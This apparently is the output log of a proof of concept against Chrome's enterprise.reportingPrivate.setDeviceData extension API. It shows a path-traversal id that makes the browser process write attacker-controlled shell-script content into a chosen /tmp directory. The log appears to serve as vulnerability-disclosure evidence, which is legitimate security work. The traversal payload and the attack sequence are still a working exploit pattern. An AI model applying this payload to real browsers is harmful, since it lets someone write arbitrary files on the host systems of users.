=== before run: rm -rf /tmp/poc-ev-traversal === === chrome stderr (filtered) === [175:175:0410/190411.533234:INFO:CONSOLE:44] "[poc] enterprise.reportingPrivate available: true", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (44) [175:175:0410/190411.535297:INFO:CONSOLE:46] "[poc] dispatching setDeviceData with id = "../../../../../../../../../../../../../../../../tmp/poc-ev-traversal/x"", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (46) [175:175:0410/190411.542689:INFO:CONSOLE:53] "[poc] setDeviceData callback fired. lastError = Failed to store the endpoint verification data.", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (53) [175:175:0410/190411.544279:INFO:CONSOLE:56] "[poc] now check the host filesystem:", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (56) [175:175:0410/190411.544448:INFO:CONSOLE:57] "[poc] ls -la /tmp/poc-ev-traversal", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (57) [175:175:0410/190411.544587:INFO:CONSOLE:58] "[poc] cat /tmp/poc-ev-traversal/.*.Chrome.*", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (58) === after run: ls -la /tmp/poc-ev-traversal === total 12 drwx------ 2 pocuser pocuser 4096 Apr 10 19:04 . drwxrwxrwt 1 root root 4096 Apr 10 19:04 .. -rw------- 1 pocuser pocuser 145 Apr 10 19:04 .org.chromium.Chromium.NgyvUQ === leaked temp file content === #!/bin/sh # >>> ATTACKER-CONTROLLED CONTENT WRITTEN BY CHROME BROWSER PROCESS <<< # enterprise.reportingPrivate.setDeviceData path-traversal POC